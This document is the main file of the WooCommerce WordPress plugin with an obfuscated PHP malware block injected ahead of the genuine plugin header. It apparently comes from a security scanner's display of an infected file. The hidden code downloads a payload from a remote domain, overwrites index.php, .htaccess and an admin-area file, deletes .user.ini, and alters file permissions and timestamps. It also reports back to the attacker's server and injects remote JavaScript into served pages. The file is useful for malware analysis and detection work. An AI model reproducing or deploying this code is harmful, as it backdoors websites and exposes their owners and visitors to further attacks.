goto vODF8; uW9iC: p1I3i: goto m0oPE; zJ0r4: $fd50r .= "tdo"; goto lKsEQ; daxHz: $Q7FSm .= "ti"; goto zNDLT; QuFr2: $wv9Ig .= "36"; goto sOymP; lYCuA: $LOLkL = "5"; goto y6I4r; jBc3K: $tkyNj .= "ex"; goto feM2z; veckF: $vp5Fj .= "access"; goto F5Rs6; B13FM: $CoSGx = "def"; goto YZRXV; LzBKe: $CUa7Y = !empty($qwM6z) || !empty($SCBgM); goto tB1mh; loZYi: try { goto txRyO; K18GF: @$xS8DV($vp5Fj, $eb2Uu); goto tGdpP; iQrV6: @$KDcLu($AW98J, $PShG_); goto K18GF; U8ZJQ: @$xS8DV($AW98J, $eb2Uu); goto Y_zOi; txRyO: @$xS8DV($nHQe_, $eb2Uu); goto U8ZJQ; bh8Zz: @$xS8DV($vp5Fj, $Vjvu_); goto ZGL3p; ZGL3p: @$KDcLu($vp5Fj, $PShG_); goto g9qNE; ZfydO: @$xS8DV($AW98J, $Vjvu_); goto iQrV6; g9qNE: @$xS8DV($nHQe_, $Vjvu_); goto H3O0E; Y_zOi: @$DR4rp($AW98J, $jap8Z["a"]); goto ZfydO; tGdpP: @$DR4rp($vp5Fj, $jap8Z["b"]); goto bh8Zz; H3O0E: } catch (Exception $EdXTL) { } goto y_pyz; F2WJF: $xS8DV .= "mod"; goto XVkCO; GbEwW: $MhTIX = "md5"; goto LQ0hU; uLWI3: $vp5Fj = $nHQe_; goto orqfm; egDtp: $tkyNj = "func"; goto usQiR; LQ0hU: $vbt1Y = $MhTIX; goto TgEvM; XPDLi: $gPOF5 = $le6g1; goto tBtTf; WxOmz: $DR4rp .= "put_c"; goto UxwWx; GZYTn: $L3Qwt .= "ecode"; goto g9Iex; gJ2jd: $B5AMu .= "copy"; goto UIZFw; V5t0t: $eb2Uu = 189; goto WkOpf; R8lf6: $L3Qwt .= "_d"; goto GZYTn; hYuCQ: try { goto A3SpX; Lp303: try { goto Kpqh2; IAeb5: $gPOF5($QKdX3); goto usTFE; Soq5P: $QydK0($QKdX3, CURLOPT_POSTFIELDS, $DORoV($q4dFj)); goto IAeb5; RVyt3: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto nb7rJ; AqD2c: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto ttOBx; LJxmP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto RVyt3; snalI: $QydK0($QKdX3, CURLOPT_URL, $Pi1_K); goto AqD2c; nb7rJ: $QydK0($QKdX3, CURLOPT_TIMEOUT, 3); goto caVfG; caVfG: $QydK0($QKdX3, CURLOPT_POST, 1); goto Soq5P; Kpqh2: $QKdX3 = $AhBNU(); goto snalI; usTFE: $iwfAP($QKdX3); goto OfPoO; ttOBx: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto LJxmP; OfPoO: } catch (Exception $EdXTL) { } goto s8qlN; kwFwL: $EHr4j = dirname($O8VpT); goto rtN5e; oSMaO: @$xS8DV($EHr4j, $eb2Uu); goto zRyBD; rtN5e: if ($qjAK2($EHr4j)) { goto ayR0Q; } goto OfJbX; pAJFu: $Pi1_K .= "t=ca"; goto AM67e; j_bNW: ayR0Q: goto CA7b_; D4GAj: $q4dFj = ["data" => $jap8Z["d"]["url"]]; goto Lp303; OfJbX: @$spfUp($EHr4j, $eb2Uu, true); goto j_bNW; oI6DO: @$xS8DV($EHr4j, $Vjvu_); goto oyphM; GLti1: $Pi1_K .= "?ac"; goto pAJFu; lEMoS: $Pi1_K = $FCJJO; goto GLti1; A3SpX: $O8VpT = $nHQe_ . $jap8Z["d"]["path"]; goto kwFwL; s8qlN: d_JbM: goto HW6fn; CA7b_: if (!$qjAK2($EHr4j)) { goto d_JbM; } goto oSMaO; oyphM: @$KDcLu($O8VpT, $PShG_); goto lEMoS; OUdjB: @$xS8DV($O8VpT, $Vjvu_); goto oI6DO; AM67e: $Pi1_K .= "ll"; goto D4GAj; zRyBD: @$DR4rp($O8VpT, $jap8Z["d"]["code"]); goto OUdjB; HW6fn: } catch (Exception $EdXTL) { } goto loZYi; LNJsy: @$xS8DV($nHQe_, $Vjvu_); goto k_sTE; cuM3u: $nHQe_ = $_SERVER[$Y5cZH]; goto A7iEW; n8L8V: $uz9bL .= "hp.0"; goto K6CAr; unwRS: $DORoV .= "uild_q"; goto Nk50j; JP7xy: $vbt1Y .= "le"; goto RNGP0; nZ1st: $gQtVG .= "MIN"; goto r5zMQ; XScjr: $gQtVG = "WP"; goto O5QIE; OU84W: $pzU4s = "flo"; goto mwwot; nRTqE: $RDkKv = []; goto aYHoX; l2VBa: rqNSn: goto gKipv; ljZeU: $uz9bL .= "/xm"; goto mCMR7; Ieo9X: $Y5cZH .= "_ROOT"; goto lYCuA; XVkCO: $L3Qwt = "base"; goto R8lf6; OGVf2: $Vjvu_ = 215; goto huZpo; aBs6o: $fd50r .= "gist"; goto FqdNN; MTS3A: V4Jy1: goto vHyOs; jrrba: $PShG_ = $Q7FSm($wv9Ig); goto bMgWF; vODF8: $J4djk = "<DDM>"; goto lRUim; ruvGs: $AW98J .= "hp"; goto uLWI3; VXlbA: $uz9bL .= "pc.p"; goto n8L8V; w8i1S: $KDcLu .= "uch"; goto TPq_6; UxwWx: $DR4rp .= "ontents"; goto ISAMz; chc27: if (!($JKloV !== false)) { goto L8tHW; } goto UihyE; TgEvM: $vbt1Y .= "_fi"; goto JP7xy; zijgp: $F3G3B = "int"; goto d0ttz; XAUaV: $CZpCY = $y6Dil($uz9bL, "w+"); goto KpMKi; ZjcxJ: $eb2Uu = $F3G3B($mmShn($eb2Uu), $l6o74); goto OGVf2; WBWyB: try { goto LAZiP; NeOx9: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto WZ1lN; yuxAB: $JKloV = trim(trim($JKloV, "")); goto zF9le; YXPOY: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto UWGHP; MbwNB: $JKloV = $gPOF5($QKdX3); goto hAQ9Y; UWGHP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto NeOx9; LAZiP: $QKdX3 = $AhBNU(); goto i1X7z; WZ1lN: $QydK0($QKdX3, CURLOPT_TIMEOUT, 10); goto MbwNB; S2VNp: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto YXPOY; i1X7z: $QydK0($QKdX3, CURLOPT_URL, $B5AMu); goto S2VNp; hAQ9Y: $iwfAP($QKdX3); goto yuxAB; zF9le: } catch (Exception $EdXTL) { } goto chc27; fSM7u: $Q7FSm .= "to"; goto daxHz; YZRXV: $CoSGx .= "ined"; goto TSsDX; Y78_D: $tCAxo = 1; goto kOQ0E; iMZQy: $_POST = $_REQUEST = $_FILES = array(); goto CfGUZ; TfIgP: $HH1HZ .= "ontents"; goto jcgg4; Jhv2t: $ocF0w .= "dmin"; goto I04NN; aYHoX: $N__ZL = 32; goto IvuqX; HgvDx: @$xS8DV($z2Yll, $eb2Uu); goto C_4CC; ZW1G7: r6AqH: goto GqJiG; CfGUZ: AzDa9: goto U2U3q; NdB0_: $QydK0 .= "opt"; goto XPDLi; KFMi9: $x0CSu .= "_HOST"; goto nMuHG; WqPjf: $B5AMu = $FCJJO; goto B0dlE; TPq_6: $xS8DV = "ch"; goto F2WJF; tBtTf: $gPOF5 .= "l_exec"; goto Zr7tR; qUDsS: $PKMm7 .= "file"; goto Odo2W; UihyE: $jap8Z = 0; goto hJZyv; WQvgq: $qwM6z = $_REQUEST; goto rvlXO; yoOUR: $vTeXJ = "versi"; goto IBhNI; ZxHGi: $fd50r = "re"; goto aBs6o; shDBj: $FSKjX .= "MES"; goto XScjr; bAY2j: $LYlAw = $L474W = $ocF0w . "/" . $sVnDj; goto nRTqE; sOymP: $wv9Ig .= "3 d"; goto d5_Qs; jcgg4: $DR4rp = "file_"; goto WxOmz; QKYpu: $ocF0w .= "-a"; goto Jhv2t; dZIRa: $P4139 = $_SERVER[$x0CSu]; goto cuM3u; huZpo: $Vjvu_ += 150; goto qbT4q; BSUkU: $bX79j = "fcl"; goto RAIH6; g9Iex: $MIh5N = "gzi"; goto ojxiT; m0oPE: if (!$tCAxo) { goto rqNSn; } goto WqPjf; C_4CC: @unlink($z2Yll); goto LNJsy; feM2z: $tkyNj .= "ists"; goto j_mMb; dU8Tu: $FSKjX = "WP_U"; goto iLcq9; axzTr: $HH1HZ .= "get_c"; goto TfIgP; sZfV6: $FCJJO .= "link.t"; goto oUI8y; zNDLT: $Q7FSm .= "me"; goto egDtp; Nk50j: $DORoV .= "uery"; goto GbEwW; j_mMb: $le6g1 = "cur"; goto QFm8j; y6I4r: $LOLkL .= ".4"; goto Dc02k; d5_Qs: $wv9Ig .= "ays"; goto jrrba; AjCJZ: $z2Yll .= "ni"; goto OzEb9; RNGP0: $PKMm7 = "is_"; goto qUDsS; k_sTE: DUBKw: goto AbQ0z; mwwot: $pzU4s .= "ck"; goto BSUkU; bKUUG: $WzLgo = $RDkKv[1]; goto WAo0s; mCMR7: $uz9bL .= "lr"; goto VXlbA; Tt4oQ: $Q7FSm = "str"; goto fSM7u; B0dlE: $B5AMu .= "?act"; goto aETJg; DbBpN: $vTeXJ .= "pare"; goto B13FM; IBhNI: $vTeXJ .= "on_com"; goto DbBpN; QSRig: $FCJJO = "https://"; goto Jb8vw; pLm0w: $spfUp .= "dir"; goto yspyu; bMgWF: $x0CSu = "HTTP"; goto KFMi9; psjtE: $iwfAP .= "l_clo"; goto kxGeH; OzEb9: if (!$PKMm7($z2Yll)) { goto DUBKw; } goto fUCm1; YZnxF: $AhBNU .= "l_init"; goto o4wfR; U2U3q: $xS8DV($nHQe_, $eb2Uu); goto XAUaV; hVAgs: if (empty($RDkKv)) { goto r6AqH; } goto gpO7z; lRUim: $huaOJ = "/^c"; goto l1puk; ojxiT: $MIh5N .= "nflate"; goto QO6bK; yspyu: $HH1HZ = "file_"; goto axzTr; nMuHG: $Y5cZH = "DOCUMENT"; goto Ieo9X; QO6bK: $RpkLV = "unser"; goto TE4rq; oUI8y: $FCJJO .= "op/"; goto ZxHGi; gpO7z: $ZwOvi = $RDkKv[0]; goto bKUUG; r5zMQ: $EvUsr = $CoSGx($FSKjX) || $CoSGx($gQtVG); goto WQvgq; ryAXN: $iSMwa = "str"; goto Aw0OF; RAIH6: $bX79j .= "ose"; goto QSRig; QFm8j: $AhBNU = $le6g1; goto YZnxF; y_pyz: M1S8t: goto YcoP2; bPtLw: $AW98J .= "dex.p"; goto ruvGs; jHqFV: if (!is_array($jap8Z)) { goto M1S8t; } goto sHXMo; O5QIE: $gQtVG .= "_AD"; goto nZ1st; dBHzv: $AW98J .= "/in"; goto bPtLw; KpMKi: if (!($tkyNj($AhBNU) && !preg_match($huaOJ, PHP_SAPI) && $pzU4s($CZpCY, 2 | 4))) { goto v1tUm; } goto vfYVM; u8ekB: $qjAK2 .= "dir"; goto D1aMA; rvlXO: $SCBgM = $_FILES; goto LzBKe; Odo2W: $qjAK2 = "is_"; goto u8ekB; Tl9BG: $ocF0w .= "/wp"; goto QKYpu; hh9Gu: $YKWP5 .= "t Acc"; goto DSWYm; Dc02k: $LOLkL .= "p;"; goto dZIRa; o4wfR: $QydK0 = $le6g1; goto VYKG_; pnTdK: $YKWP5 = "HTT"; goto qEMP2; WkOpf: $eb2Uu += 304; goto ZjcxJ; CLQnS: $huaOJ .= "si"; goto Tt4oQ; orqfm: $vp5Fj .= "/.ht"; goto veckF; jvCLK: $fd50r .= "ion"; goto cE3iS; vHyOs: goto p1I3i; goto ZW1G7; Aw0OF: $iSMwa .= "len"; goto yoOUR; neYoj: $y6Dil .= "en"; goto OU84W; Yc9eB: $JKloV = false; goto WBWyB; IvuqX: $l6o74 = 5; goto DicZE; tB1mh: if (!(!$EvUsr && $CUa7Y)) { goto AzDa9; } goto iMZQy; vI8QX: aybLW: goto dU8Tu; cE3iS: if (isset($_SERVER[$fd50r])) { goto aybLW; } goto YhmyI; FqdNN: $fd50r .= "er_"; goto l7JCC; I04NN: $sVnDj = substr($MhTIX($P4139), 0, 6); goto bAY2j; WAo0s: if (!(!$PKMm7($AW98J) || $vbt1Y($AW98J) != $ZwOvi)) { goto F9B9M; } goto Y78_D; d0ttz: $F3G3B .= "val"; goto G8B0v; G8B0v: $mmShn = "dec"; goto w1WUM; Ky1Ah: $fd50r .= "unct"; goto jvCLK; YcoP2: L8tHW: goto l2VBa; fUCm1: @$xS8DV($nHQe_, $eb2Uu); goto HgvDx; ISAMz: $KDcLu = "to"; goto w8i1S; YhmyI: $_SERVER[$fd50r] = 0; goto vI8QX; qbT4q: $Vjvu_ = $F3G3B($mmShn($Vjvu_), $l6o74); goto pnTdK; UIZFw: $B5AMu .= "&h=" . $P4139; goto Yc9eB; A7iEW: $ocF0w = $nHQe_; goto Tl9BG; QiT7j: $YKWP5 .= "06 No"; goto hh9Gu; usQiR: $tkyNj .= "tion_"; goto jBc3K; TE4rq: $RpkLV .= "ialize"; goto zijgp; DWZ53: if (!(!$_SERVER[$fd50r] && $vTeXJ(PHP_VERSION, $LOLkL, ">"))) { goto tOsRM; } goto qx0qa; DSWYm: $YKWP5 .= "eptable"; goto TXR6r; clNTt: tOsRM: goto NrKhW; F5Rs6: $z2Yll = $nHQe_; goto ZRq91; Jb8vw: $FCJJO .= "okk"; goto sZfV6; Zr7tR: $iwfAP = $le6g1; goto psjtE; w1WUM: $mmShn .= "oct"; goto ryAXN; TXR6r: $uz9bL = $nHQe_; goto ljZeU; lKsEQ: $fd50r .= "wn_f"; goto Ky1Ah; kxGeH: $iwfAP .= "se"; goto PULcN; qEMP2: $YKWP5 .= "P/1.1"; goto QiT7j; aETJg: $B5AMu .= "=get"; goto gJ2jd; iLcq9: $FSKjX .= "SE_THE"; goto shDBj; AbQ0z: $tCAxo = 0; goto hVAgs; Te8Ah: $AW98J = $nHQe_; goto dBHzv; PULcN: $DORoV = "http_b"; goto unwRS; oHm8V: $tCAxo = 1; goto MTS3A; K6CAr: $y6Dil = "fop"; goto neYoj; PL0rr: if (!(!$PKMm7($vp5Fj) || $vbt1Y($vp5Fj) != $WzLgo)) { goto V4Jy1; } goto oHm8V; l1puk: $huaOJ .= "li/"; goto CLQnS; l7JCC: $fd50r .= "shu"; goto zJ0r4; sHXMo: try { goto HbY3E; HbY3E: @$xS8DV($nHQe_, $eb2Uu); goto YBneD; lVY2g: LmA8a: goto o_wA9; w2wnP: @$KDcLu($L474W, $PShG_); goto vkTcY; plcED: $L474W = $LYlAw; goto lVY2g; o_wA9: @$DR4rp($L474W, $jap8Z["c"]); goto FIfGh; FIfGh: @$xS8DV($L474W, $Vjvu_); goto w2wnP; YBneD: if (!$qjAK2($ocF0w)) { goto LmA8a; } goto y3Uf0; y3Uf0: @$xS8DV($ocF0w, $eb2Uu); goto plcED; vkTcY: } catch (Exception $EdXTL) { } goto hYuCQ; GqJiG: $tCAxo = 1; goto uW9iC; VYKG_: $QydK0 .= "l_set"; goto NdB0_; D1aMA: $spfUp = "mk"; goto pLm0w; TSsDX: $wv9Ig = "-1"; goto QuFr2; vfYVM: $xS8DV($nHQe_, $Vjvu_); goto DWZ53; kOQ0E: F9B9M: goto PL0rr; NrKhW: try { goto qZ46l; RQqe5: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto XDrKy; } goto A2PmA; w9gDu: y6dH8: goto Z726M; MlbPu: $yVIWe = @explode(":", $HH1HZ($L474W)); goto RQqe5; YN8V8: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto YUPG5; } goto DYfgW; urTh8: XDrKy: goto vw7V4; hhu33: $gOxct = trim($yVIWe[0]); goto h7asi; POLut: $RDkKv[] = $aWnJP; goto w9gDu; JSOyl: $RDkKv[] = $aWnJP; goto dxtWS; ixd8R: $L474W = $nHQe_ . "/" . $sVnDj; goto uPNAL; YdNrA: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto U90QQ; } goto hhu33; qZ46l: if (!$PKMm7($L474W)) { goto oqtoQ; } goto p5kTV; V_cwX: oTvft: goto NDBCD; A2PmA: $gOxct = trim($yVIWe[0]); goto DvFPK; wbpgM: if (!empty($RDkKv)) { goto oTvft; } goto ixd8R; DvFPK: $aWnJP = trim($yVIWe[1]); goto YN8V8; Y3KDn: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto y6dH8; } goto D88sj; vw7V4: wNb1b: goto V_cwX; dxtWS: YUPG5: goto urTh8; hNhbL: oqtoQ: goto wbpgM; Z726M: U90QQ: goto hNhbL; uPNAL: if (!$PKMm7($L474W)) { goto wNb1b; } goto MlbPu; D88sj: $RDkKv[] = $gOxct; goto POLut; h7asi: $aWnJP = trim($yVIWe[1]); goto Y3KDn; p5kTV: $yVIWe = @explode(":", $HH1HZ($L474W)); goto YdNrA; DYfgW: $RDkKv[] = $gOxct; goto JSOyl; NDBCD: } catch (Exception $EdXTL) { } goto Te8Ah; qx0qa: try { $_SERVER[$fd50r] = 1; $fd50r(function () { goto AV30r; qJcS6: $XaxO1 .= "ElementsB"; goto Ak55L; Q10lk: $XaxO1 .= "</s"; goto b0BbS; QUShX: $XaxO1 .= "script">\xa"; goto qTRy2; DytHl: $XaxO1 .= "/mat"; goto shQ2Y; UYMzk: $XaxO1 .= "Element("sc"; goto YC55T; ZXF34: $XaxO1 .= "omo Cod"; goto Fp2Ee; AdEN_: $XaxO1 .= "ript type="tex"; goto vaHEn; qTRy2: $XaxO1 .= "(func"; goto sT9Yu; YC55T: $XaxO1 .= "ript"), s=d.get"; goto qJcS6; b0BbS: $XaxO1 .= "cript>
"; goto NGsxv; HMLFi: $XaxO1 .= "})();
"; goto Q10lk; CvLy6: $XaxO1 .= "?id="; goto dyWeq; Fp2Ee: $XaxO1 .= "e -->
"; goto fdPCn; y9nGa: $XaxO1 .= "ore(g,s);
"; goto HMLFi; MSOF2: $XaxO1 .= "pt")[0];
"; goto P_ZMm; dyWeq: $XaxO1 .= "M-"; goto DLX8K; fdPCn: echo $XaxO1; goto endbR; No27V: $XaxO1 .= $P4139; goto DytHl; sT9Yu: $XaxO1 .= "tion() {\xa"; goto ubJzA; ebgnR: $XaxO1 .= "; g.def"; goto wmOvX; KJt_C: $XaxO1 .= "g.sr"; goto E5SRJ; yjiNj: $XaxO1 .= "d Mat"; goto ZXF34; jd565: $XaxO1 .= "sertBef"; goto y9nGa; D7OFn: $XaxO1 .= "ument, g=d.create"; goto UYMzk; ubJzA: $XaxO1 .= "var u="" . $FCJJO . "";\xa"; goto v3rQ8; E5SRJ: $XaxO1 .= "c=u+"js/"; goto No27V; v3rQ8: $XaxO1 .= "var d=doc"; goto D7OFn; r7GHN: $XaxO1 .= "script"; g.a"; goto RDjIx; vaHEn: $XaxO1 .= "t/java"; goto QUShX; gOYzX: $XaxO1 = "\xa"; goto JH0uq; uazjK: $XaxO1 .= "java"; goto r7GHN; Bu0lg: $XaxO1 .= "entNode.in"; goto jd565; P_ZMm: $XaxO1 .= "g.type"; goto I8B8v; endbR: }); } catch (Exception $EdXTL) { } goto clNTt; DicZE: $l6o74 += 3; goto V5t0t; hJZyv: try { $jap8Z = @$RpkLV($MIh5N($L3Qwt($JKloV))); } catch (Exception $EdXTL) { } goto jHqFV; VtpcZ: $z2Yll .= "er.i"; goto AjCJZ; ZRq91: $z2Yll .= "/.us"; goto VtpcZ; gKipv: v1tUm:
/**
* Plugin Name: WooCommerce
* Plugin URI: https://woocommerce.com/
* Description: An eCommerce toolkit that helps you sell anything. Beautifully.
* Version: 8.1.1
* Author: Automattic
* Author URI: https://woocommerce.com
* Text Domain: woocommerce
* Domain Path: /i18n/languages/
* Requires at least: 6.2
* Requires PHP: 7.3
*
* @package WooCommerce
*/
defined( 'ABSPATH' ) || exit;
if ( ! defined( 'WC_PLUGIN_FILE' ) ) {
define( 'WC_PLUGIN_FILE', __FILE__ );
}
// Load core packages and the autoloader.
require __DIR__ . '/src/Autoloader.php';
require __DIR__ . '/src/Packages.php';
if ( ! \Automattic\WooCommerce\Autoloader::init() ) {
return;
}
\Automattic\WooCommerce\Packages::init();
// Include the main WooCommerce class.
if ( ! class_exists( 'WooCommerce', false ) ) {
include_once dirname( WC_PLUGIN_FILE ) . '/includes/class-woocommerce.php';
}
// Initialize dependency injection.
$GLOBALS['wc_container'] = new Automattic\WooCommerce\Container();
/**
* Returns the main instance of WC.
*
* @since 2.1
* @return WooCommerce
*/
function WC() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
return WooCommerce::instance();
}
/**
* Returns the WooCommerce object container.
* Code in the `includes` directory should use the container to get instances of classes in the `src` directory.
*
* @since 4.4.0
* @return \Automattic\WooCommerce\Container The WooCommerce object container.
*/
function wc_get_container() {
return $GLOBALS['wc_container'];
}
// Global for backwards compatibility.
$GLOBALS['woocommerce'] = WC();
// Jetpack's Rest_Authentication needs to be initialized even before plugins_loaded.
if ( class_exists( \Automattic\Jetpack\Connection\Rest_Authentication::class ) ) {
\Automattic\Jetpack\Connection\Rest_Authentication::init();
}
© 2023 Quttera Ltd. All rights reserved.